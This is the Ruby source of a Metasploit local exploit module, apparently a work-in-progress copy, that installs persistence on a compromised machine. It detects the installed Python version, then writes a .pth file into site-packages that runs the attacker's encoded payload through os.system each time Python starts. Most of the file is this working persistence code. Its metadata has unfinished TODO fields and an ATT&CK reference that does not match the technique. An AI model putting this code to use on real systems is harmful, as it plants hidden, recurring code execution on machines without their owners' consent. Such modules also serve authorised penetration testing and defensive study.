Files
metasploit-gs/modules/exploits/multi/persistence/python_site_specific_hook.rb
T
2025-11-11 15:57:30 +01:00

97 lines
3.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
# includes: is_root?
include Msf::Post::Linux::Priv
# includes writable?, upload_file, upload_and_chmodx, exploit_data
include Msf::Post::File
# includes generate_payload_exe
include Msf::Exploit::EXE
# includes register_files_for_cleanup
include Msf::Exploit::FileDropper
# defines install_persistence and does our cleanup
# WritableDir
include Msf::Exploit::Local::Persistence
# runs check automatically
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Python Site-Specific Hook Persistence',
'Description' => %q{
TODO
},
'License' => MSF_LICENSE,
'Author' => [
'msutovsky-r7', # msf module
],
'Platform' => ['linux', 'windows', 'osx'],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [[ 'Auto', {} ]],
'References' => [
[ 'URL', 'https://docs.python.org/3/library/site.html'],
# TODO
['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], # https://github.com/rapid7/metasploit-framework/pull/20289
],
# TODO
'DisclosureDate' => '2023-11-29',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def get_hooks_path
case session.platform
when 'windows', 'win'
@hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/"
when 'osx', 'linux'
@hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")
end
end
def get_python_version
case session.platform
when 'windows', 'win'
cmd_exec('cmd.exe', '/c python3.exe --version 2> nul || python2.exe --version 2> nul|| python.exe --version 2> nul') =~ /(\d+.\d+).\d+/
when 'osx', 'linux'
cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/
end
@python_version = Regexp.last_match(1)
end
def check
get_python_version
puts @python_version
return CheckCode::Safe('Python not present on the system') unless @python_version
CheckCode::Vulnerable('Python is present on the system')
end
def install_persistence
get_python_version unless @python_version
get_hooks_path unless @hooks_path
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
if session.platform == 'osx' || session.platform == 'linux'
cmd_exec("mkdir -p #{@hooks_path}")
end
fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))
end
end